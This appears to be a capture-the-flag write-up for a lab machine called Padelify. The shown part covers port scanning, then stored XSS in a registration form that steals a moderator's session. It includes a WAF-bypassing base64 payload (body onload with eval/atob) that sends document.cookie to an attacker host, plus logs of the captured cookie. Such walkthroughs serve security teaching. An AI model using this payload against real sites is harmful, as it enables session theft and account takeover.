- Published on
Padelify
Overview
Padelify is themed around a Padel Championship event where a website is used for contestant registration and tracking the events. The room page explains that your rival keeps climbing the leaderboard and challenges you to crack the admin account in order to rewrite the draw before the whistle.
Based on the flags there are two stages in this challenge:
- gaining access as the moderator
- privilege escalation to admin
Reconaissance
The first step is to identify what's actually running after the machine has been started. Using rustscan we are able to find out what ports are listening for requests:
➜ ~ rustscan --ulimit 5000 -a padelify.thm .----. .-. .-. .----..---. .----. .---. .--. .-. .-.| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| || .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'The Modern Day Port Scanner.________________________________________: http://discord.skerritt.blog :: https://github.com/RustScan/RustScan : --------------------------------------TreadStone was here 🚀
[~] The config file is expected to be at "/home/kali/.rustscan.toml"[~] Automatically increasing ulimit value to 5000.Open 10.64.156.85:22Open 10.64.156.85:80[~] Starting Script(s)[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-01 12:35 GMTInitiating Ping Scan at 12:35Scanning 10.64.156.85 [4 ports]Completed Ping Scan at 12:35, 0.13s elapsed (1 total hosts)Initiating SYN Stealth Scan at 12:35Scanning padelify.thm (10.64.156.85) [2 ports]Discovered open port 80/tcp on 10.64.156.85Discovered open port 22/tcp on 10.64.156.85Completed SYN Stealth Scan at 12:35, 0.12s elapsed (2 total ports)Nmap scan report for padelify.thm (10.64.156.85)Host is up, received reset ttl 62 (0.094s latency).Scanned at 2025-12-01 12:35:17 GMT for 0s
PORT STATE SERVICE REASON22/tcp open ssh syn-ack ttl 6280/tcp open http syn-ack ttl 62
Read data files from: /usr/share/nmapNmap done: 1 IP address (1 host up) scanned in 0.37 seconds Raw packets sent: 6 (240B) | Rcvd: 3 (128B)We can see that the ssh, and http ports are open. This suggests we are simply dealing with a website on port 80.

The registration page explains that after signing up a moderator will review and potentially approve our registration. We could start enumerating the website further and trying to brute-force the login page, but it is very likely that the intended path here is to use XSS to try and steal the moderators session.
Before we attempt to steal the moderator's session let's confirm our theory and try and register but use an XSS attack vector for the Player username:
<img src="http://{attackbox-IP}/test.image" />We setup a listener on our local attackbox:
➜ ~ python -m http.server 80Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...And let's register using the XSS vector:

After clicing the Submit Registration button you should see:

And we can see that requests are being made to our local attackbox for the test.image resource:
➜ ~ python -m http.server 80Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...10.64.161.87 - - [01/Dec/2025 13:28:14] code 404, message File not found10.64.161.87 - - [01/Dec/2025 13:28:14] "GET /test.image HTTP/1.1" 404 -10.64.161.87 - - [01/Dec/2025 13:28:19] code 404, message File not found10.64.161.87 - - [01/Dec/2025 13:28:19] "GET /test.image HTTP/1.1" 404 -10.64.161.87 - - [01/Dec/2025 13:28:25] code 404, message File not foundGaining access as the moderator
In order to steal the moderator's session we need to get hold of their document.cookie. So we re-register with a slightly different payload:
<img src="http://{attackbox-IP}/?" + document.cookie />Unfortunately after submitting this payload the web application firewall kicks in:

After trying different things with the img tag including using the onerror event I found that I couldn't bypass the WAF rules.
Looking around on the internet I found an article about XSS filter evasion: XSS Filter Evasion Bypass Techniques
This suggests using the body tag and in particular the onload event. Specifically the atob() function makes it possible to include the script encoded in base64 and then using the eval() function this script can be executed.
So we can craft a payload as fetch('http://{attackbox-IP}' + document.cookie), encode it into base64 and then embed this into the body element for submission:
➜ ~ print "<body onload=eval(atob(\"$(echo -n "fetch('http://{attackbox-IP}/p=' + document.cookie)" | base64)\")) />"<body onload=eval(atob("ZmV0Y2goJ2h0dHA6Ly97YXR0YWNrYm94LUlQfS9wPScgKyBkb2N1bWVudC5jb29raWUp")) />Registering again on the website using the body payload as the player username, we find we get a cookie in embedded in the calls to our HTTP server:
➜ ~ python -m http.server 80Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...10.64.161.87 - - [01/Dec/2025 14:23:02] code 404, message File not found10.64.161.87 - - [01/Dec/2025 14:23:02] "GET /test.image HTTP/1.1" 404 -10.64.161.87 - - [01/Dec/2025 14:23:08] code 404, message File not found10.64.161.87 - - [01/Dec/2025 14:23:08] "GET /test.image HTTP/1.1" 404 -10.64.161.87 - - [01/Dec/2025 14:23:08] code 404, message File not found10.64.161.87 - - [01/Dec/2025 14:23:08] "GET /p=PHPSESSID=l50shodbho0uc1mmsd1jf2mkd3 HTTP/1.1" 404 -10.64.161.87 - - [01/Dec/2025 14:23:13] code 404, message File not found10.64.161.87 - - [01/Dec/2025 14:23:13] "GET /test.image HTTP/1.1" 404 -10.64.161.87 - - [01/Dec/2025 14:23:13] code 404, message File not found10.64.161.87 - - [01/Dec/2025 14:23:13] "GET /p=PHPSESSID=l50shodbho0uc1mmsd1jf2mkd3 HTTP/1.1" 404 -Using the PHPSESSID from the above calls to our HTTP server to access the website again and we are now signed in as the moderator:

At the top of the webpage we can see the first flag!